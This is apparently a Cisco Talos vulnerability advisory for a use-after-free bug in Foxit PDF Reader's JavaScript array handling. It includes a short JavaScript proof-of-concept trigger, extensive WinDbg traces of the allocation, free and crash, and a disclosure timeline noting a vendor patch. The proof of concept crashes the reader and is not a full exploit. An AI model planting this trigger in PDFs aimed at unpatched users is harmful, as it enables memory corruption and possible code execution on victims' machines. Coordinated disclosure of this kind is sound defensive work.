TALOS-2026-2446
CVE-2026-91799
A use-after-free vulnerability exists in the way Foxit Reader handles an Array object. A specially crafted JavaScript code inside a malicious PDF document can trigger this vulnerability, which can lead to memory corruption and result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader (version(s): 2026.1.1.36485)
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
JavaScript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles an array object. This can be illustrated by the following proof-of-concept code:
function main() {
arr_vars = new Array(10);
x_var = [{toString:del_pages}, arr_vars[0], {toString:del_pages}];
app.activeDocs[0].resetForm(x_var);
}
function del_pages() {
app.activeDocs[0].deletePages();
}
The above code simply initialized the array x_var with an object {toString: del_pages} at offsets 0 and 2 of the array. This object has a single property named toString, and its value points to a function named del_pages. When it is accessed, it calls del_pages, which in turn frees all the objects associated with a page. The use-after-free vulnerability occurs when an object is freed by del_pages() and is subsequently used without any validation. We can observe the following in the debugger (with PageHeap enabled):
FoxitPDFReader!safe_vsnprintf+0x345a87:
00007ff7`f0506677 b948000000 mov ecx,48h ;<---------------- (1)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x345a8c:
00007ff7`f050667c e8df982c00 call FoxitPDFReader!safe_vsnprintf+0x60f370 (00007ff7`f07cff60) ;<---------------- (2)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x345a91:
00007ff7`f0506681 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:00000045`ed2fd2d8=000001489d2cefb0
0:000> r
rax=00000148b7d95fb0 rbx=00000148a7814fd0 rcx=000000007ffe0380
rdx=d0d0d0d0d0d0d0d0 rsi=0000000000400000 rdi=000001489d2cefb0
rip=00007ff7f0506681 rsp=00000045ed2fd100 rbp=00000045ed2fd200
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000148b7d95fb0 r12=000001489d2cefb0 r13=0000000000000000
r14=00007ff7f5be7cb4 r15=00000148a7814eb0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
FoxitPDFReader!safe_vsnprintf+0x345a91:
00007ff7`f0506681 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:00000045`ed2fd2d8=000001489d2cefb0
0:000> dd 00000148b7d95fb0 ;<---------------- (3)
00000148`b7d95fb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000148`b7d95fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000148`b7d95fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000148`b7d95fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000148`b7d95ff0 c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
00000148`b7d96000 ???????? ???????? ???????? ????????
00000148`b7d96010 ???????? ???????? ???????? ????????
00000148`b7d96020 ???????? ???????? ???????? ????????
The vulnerable object is created by calling a function at (2), and the size of the object is passed to the function at (1). After allocation, the vulnerable object is examined at (3).
free
FoxitPDFReader!safe_vsnprintf+0x348651:
00007ff7`f0509241 488bcf mov rcx,rdi
0:000> r
rax=0000000000000001 rbx=00000148a7814fd0 rcx=00000148db690000
rdx=00000148db690000 rsi=0000014896daefc0 rdi=00000148b7d95fb0
rip=00007ff7f0509241 rsp=00000045ed2fdd70 rbp=000000000000000b
r8=00000148da241920 r9=0000000000000001 r10=00000000ffffffef
r11=00000045ed2fdca0 r12=00000045ed2fde48 r13=00000148a7814eb0
r14=0000000000000000 r15=000001489d2cefb0
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
FoxitPDFReader!safe_vsnprintf+0x348651:
00007ff7`f0509241 488bcf mov rcx,rdi
0:000> dd 00000148b7d95fb0 ;<---------------- (4)
00000148`b7d95fb0 00000004 00000000 a7814eb0 00000148
00000148`b7d95fc0 9d2cefb0 00000148 00000000 00000000
00000148`b7d95fd0 9c98eff0 00000148 00000000 00000001
00000148`b7d95fe0 00000000 00000008 00000000 c0c0c0c0
00000148`b7d95ff0 00000000 00000000 d0d0d0d0 d0d0d0d0
00000148`b7d96000 ???????? ???????? ???????? ????????
00000148`b7d96010 ???????? ???????? ???????? ????????
00000148`b7d96020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348654:
00007ff7`f0509244 e8f76d2c00 call FoxitPDFReader!safe_vsnprintf+0x60f450 (00007ff7`f07d0040) ;<---------------- (5)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348659:
00007ff7`f0509249 49c7042400000000 mov qword ptr [r12],0 ds:00000045`ed2fde48=00000148b7d95fb0
0:000> dd 00000148b7d95fb0 ;<---------------- (6)
00000148`b7d95fb0 ???????? ???????? ???????? ????????
00000148`b7d95fc0 ???????? ???????? ???????? ????????
00000148`b7d95fd0 ???????? ???????? ???????? ????????
00000148`b7d95fe0 ???????? ???????? ???????? ????????
00000148`b7d95ff0 ???????? ???????? ???????? ????????
00000148`b7d96000 ???????? ???????? ???????? ????????
00000148`b7d96010 ???????? ???????? ???????? ????????
00000148`b7d96020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348661:
00007ff7`f0509251 41c685c800000001 mov byte ptr [r13+0C8h],1 ds:00000148`a7814f78=01
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ff7`f0508ee6 : 00000000`00000000 00000148`b3aeefe0 00000148`a7814fd0 00000148`00000002 : FoxitPDFReader!safe_vsnprintf+0x348669
01 00007ff7`f040975d : 00000000`00000000 00000000`00000000 00000148`f3d32ed0 00000148`a7814eb0 : FoxitPDFReader!safe_vsnprintf+0x3482f6
02 00007ff7`f0409f16 : 00000000`00000000 00000045`ed2fe0c0 00000148`f3d32ed0 00000000`00000004 : FoxitPDFReader!safe_vsnprintf+0x248b6d
03 00007ff7`eeaa7397 : 00000000`00000000 00000000`00000000 00000045`ed2fe3b0 00000000`00000001 : FoxitPDFReader!safe_vsnprintf+0x249326
04 00007ff7`eeb479e6 : 00000148`f3d32ed0 00000045`ed2fe2d8 00000148`a7814eb0 00000045`ed2fe2d8 : FoxitPDFReader!AUILib::SkinManagerColor::operator!=+0x1b6e7
05 00007ff7`eeb483c5 : 00000000`00000001 00000045`ed2fe2d8 00000045`ed2fe300 00000148`ba153fc8 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2c606
06 00007ff7`ef646504 : 00000000`00000000 00000148`a3e14b90 00000000`00000030 00000148`b7cba110 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2cfe5
07 00007ff7`f1a90177 : 00000045`ed2fe419 00000148`ba14dff0 00000000`00000000 00007ffa`234147b1 : FoxitPDFReader!CryptUIWizExport+0x212d4
08 00007ff7`f1a59073 : 00000148`a68cafe0 00000000`00000000 00000000`00000000 00000148`923faff0 : FoxitPDFReader!safe_vsnprintf+0x18cf587
09 00007ff7`f1ef0189 : 00000148`a0482ff0 00000045`ed2fe5d0 00000148`923faff0 00000148`a68cafe0 : FoxitPDFReader!safe_vsnprintf+0x1898483
0a 00007ff7`f2475446 : 00000148`b7cba108 00000045`ed2fe540 00000151`001b4a59 00007ff7`f260b803 : FoxitPDFReader!FXJSE_GetClass+0x3d9
0b 00007ff7`f2473701 : 00000151`0009fd55 00000148`a7ec9000 00000151`001801a1 00000151`00000069 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x306636
0c 00007ff7`f2470e30 : 00000151`0009a36d 00000151`001eb5e1 00000000`0000001a 00000045`ed2fe7d0 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x3048f1
0d 00007ff7`f2470987 : 00000045`ed2ff0b8 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x302020
0e 00007ff7`f1f467df : 00000045`ed2fe944 00000045`ed2fe869 00000045`ed2fea10 00000000`00000005 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x301b77
0f 00007ff7`f1f460a3 : 00000045`ed2fea10 00000148`a7ec9000 00000151`001e0005 00000148`a7ed2110 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x55d0f
10 00007ff7`f1fbc1b4 : 00000148`b7cba0c8 00000148`b7cba0f0 00000148`a7ec9000 00000045`ed2fe9e8 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x555d3
11 00007ff7`f1fbf763 : 00000000`00000001 00000045`ed2feb90 00000148`b7cba0c8 00000148`eefc4ff0 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0xcb6e4
12 00007ff7`f1f8bd59 : 00000045`ed2fec20 00000148`a7eca9a8 00000000`00000082 00000148`b7cba0e8 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0xcec93
[...]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348671:
00007ff7`f0509261 488d4c2440 lea rcx,[rsp+40h]
0:000> p
FoxitPDFReader!safe_vsnprintf+0x348676:
00007ff7`f0509266 e8455d2c00 call FoxitPDFReader!safe_vsnprintf+0x60e3c0 (00007ff7`f07cefb0)
Later, when the JavaScript API deletePages() is called, it frees all the objects associated with the page. Internally, the deletePages() invokes the HeapFree function at (5) to free the vulnerable object. The vulnerable buffer is examine at (4) and (6) shows the buffer content before and after free calls, respectively.
0:000> g
(1694.23e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FoxitPDFReader!safe_vsnprintf+0x35bc36:
00007ff7`f051c826 4c8b4108 mov r8,qword ptr [rcx+8] ds:00000148`b7d95fb8=????????????????; <------------ (7)
0:000> u
FoxitPDFReader!safe_vsnprintf+0x35bc36:
00007ff7`f051c826 4c8b4108 mov r8,qword ptr [rcx+8]
00007ff7`f051c82a 488bda mov rbx,rdx
00007ff7`f051c82d 488b5110 mov rdx,qword ptr [rcx+10h]
00007ff7`f051c831 488bcb mov rcx,rbx
00007ff7`f051c834 e827b5ffff call FoxitPDFReader!safe_vsnprintf+0x357170 (00007ff7`f0517d60)
00007ff7`f051c839 488bc3 mov rax,rbx
00007ff7`f051c83c 4883c430 add rsp,30h
00007ff7`f051c840 5b pop rbx
0:000> dd rcx
00000148`b7d95fb0 ???????? ???????? ???????? ????????
00000148`b7d95fc0 ???????? ???????? ???????? ????????
00000148`b7d95fd0 ???????? ???????? ???????? ????????
00000148`b7d95fe0 ???????? ???????? ???????? ????????
00000148`b7d95ff0 ???????? ???????? ???????? ????????
00000148`b7d96000 ???????? ???????? ???????? ????????
00000148`b7d96010 ???????? ???????? ???????? ????????
00000148`b7d96020 ???????? ???????? ???????? ????????
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ff7`f1aa5583 : 00000000`00000000 00000000`00000000 00000000`00000002 00000148`9eac4ff0 : FoxitPDFReader!safe_vsnprintf+0x35bc36
01 00007ff7`f1a61093 : 00000000`00000000 00000148`bf373ff0 00000148`b4dbdfe0 00000148`bf373ff0 : FoxitPDFReader!safe_vsnprintf+0x18e4993
02 00007ff7`f1ef0189 : 00000148`a5360ff0 00000045`ed2fef60 00000148`bf373ff0 00000148`bba3cfe0 : FoxitPDFReader!safe_vsnprintf+0x18a04a3
03 00007ff7`f2475446 : 00000148`b7cba0b8 00000045`ed2feed0 00000151`001b5519 00000000`0000000c : FoxitPDFReader!FXJSE_GetClass+0x3d9
04 00007ff7`f2473701 : 00000151`0009f8a1 00000148`a7ec9000 00000151`001801a1 00000151`00000069 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x306636
05 00007ff7`f2473701 : 00000151`001d160d 00000151`001eb5ad 00000151`00000069 00000151`00000069 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x3048f1
06 00007ff7`f2470e30 : 00000151`001d160d 00000151`00000775 00000151`001eb745 00000000`0000001a : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x3048f1
07 00007ff7`f2470987 : 00000000`00000000 00000000`00000000 00000000`00000002 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x302020
08 00007ff7`f1f467df : 00000045`ed2ff37c 00000045`ed2ff269 00000045`ed2ff3e8 00000000`00000005 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x301b77
09 00007ff7`f1f46284 : 00000045`ed2ff3e8 00000148`a7ec9000 00000151`001e0005 00000148`a7ed2110 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x55d0f
0a 00007ff7`f1f25e3b : 00000148`a7ec92b0 00000045`ed2ff490 00000148`b5fcea50 00000148`b7cba020 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x557b4
0b 00007ff7`f1f25ba1 : 00000148`b7cba050 00000148`b7cba018 00000148`a7ec9000 00000148`be25dfc0 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3536b
0c 00007ff7`f1eedb66 : 00000148`9f1a4ff0 00000148`b7cba050 00000148`b7cba018 00000148`9f1a4ff0 : FoxitPDFReader!CFXJSE_Arguments::GetValue+0x350d1
0d 00007ff7`f1eeeaab : 00000148`b7cba050 00000148`9f1a4ff0 00002928`6e69616d 00000148`b7cba020 : FoxitPDFReader!FXJSE_Runtime_Release+0x1106
0e 00007ff7`f19963cd : 00000000`00000000 00000148`98dfffb8 00000148`98dfffb8 00000148`98dfffb0 : FoxitPDFReader!FXJSE_ExecuteScript+0x27b
0f 00007ff7`f1b1b7ba : 00000148`00000024 00007ff7`00000002 00000045`ed2ff800 00000045`ed2ff7b8 : FoxitPDFReader!safe_vsnprintf+0x17d57dd
10 00007ff7`f1b1b8a8 : 00000148`a7438ff0 00000000`00000000 00000148`8e198fb0 00000000`00000000 : FoxitPDFReader!safe_vsnprintf+0x195abca
11 00007ff7`f199998a : 00000148`8e198fb0 00000148`a7438ff0 00000148`bad3efe0 00000148`e0456e20 : FoxitPDFReader!safe_vsnprintf+0x195acb8
12 00007ffa`21aefaec : 00000000`80006011 00007ff7`f3a56382 00000000`80006011 00000000`00000000 : FoxitPDFReader!safe_vsnprintf+0x17d8d9a
13 00007ffa`21aee433 : 00000000`00000000 00007ff7`ef63efe0 00000000`00000000 00000148`e0456e78 : USER32!UserCallWinProc+0x4ac
14 00007ff7`eec7b13a : 00000148`e0456e78 00000000`00000000 00000000`00000000 00007ff7`f6befaa0 : USER32!DispatchMessageWorker+0x243
15 00007ff7`eec7b234 : 00000000`00000001 00007ff7`f6befaa0 00000000`00000000 00000000`00000000 : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x15fd5a
16 00007ff7`f403d987 : 00000000`00000001 00007ff7`ee840000 00000000`00000000 00000148`db70ef1c : FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x15fe54
17 00007ff7`f3cb4322 : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x1eceb77
18 00007ffa`22e07374 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : FoxitPDFReader!CrashForExceptionInNonABICompliantCodeRange+0x1b45512
19 00007ffa`2343cc91 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
1a 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
0:000> lmDvm FoxitPDFReader
Browse full module list
start end module name
00007ff7`ee840000 00007ff7`f8905000 FoxitPDFReader (export symbols) C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Loaded symbol image file: C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Image path: C:\Program Files\Foxit Software\Foxit PDF Reader\FoxitPDFReader.exe
Image name: FoxitPDFReader.exe
Browse all global symbols functions data Symbol Reload
Timestamp: Fri Apr 10 10:57:26 2026 (69D93A06)
CheckSum: 09FCA8FF
ImageSize: 0A0C5000
Mapping Form: Loaded
File version: 2026.1.1.36485
Product version: 2026.1.1.36485
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0000.04b0
Information from resource tables:
CompanyName: Foxit Software Inc.
ProductName: Foxit PDF Reader
InternalName: Foxit Reader.exe
OriginalFilename: FoxitPDFReader.EXE
ProductVersion: 2026.1.1.36485
FileVersion: 2026.1.1.36485
PrivateBuild:
SpecialBuild:
FileDescription: Foxit PDF Reader
LegalCopyright: Copyright © 2004-2026 Foxit Software Inc. All Rights Reserved.
LegalTrademarks:
Comments:
The crash occurs at (7) when the object is dereferenced without any validation. Depending on the memory layout of the process, it may be possible to perform arbitrary read and write operations, which could ultimately be exploited to achieve arbitrary code execution.
Vendor Link: https://www.foxit.com/pdf-reader/
Vendor Notes: We are delighted to announce the launch of Foxit PDF Reader/Editor v2026.2.1 and Foxit PDF Editor v14.0.8/13.2.7
Reader: https://www.foxit.com/pdf-reader/ Editor: https://www.foxit.com/pdf-editor/ Security Bulletins: https://www.foxit.com/support/security-bulletins.html
2026-06-25 - Initial Vendor Contact
2026-06-25 - Vendor Disclosure
2026-09-23 - Vendor Patch Release
2026-09-23 - Public Release
KPC of Cisco Talos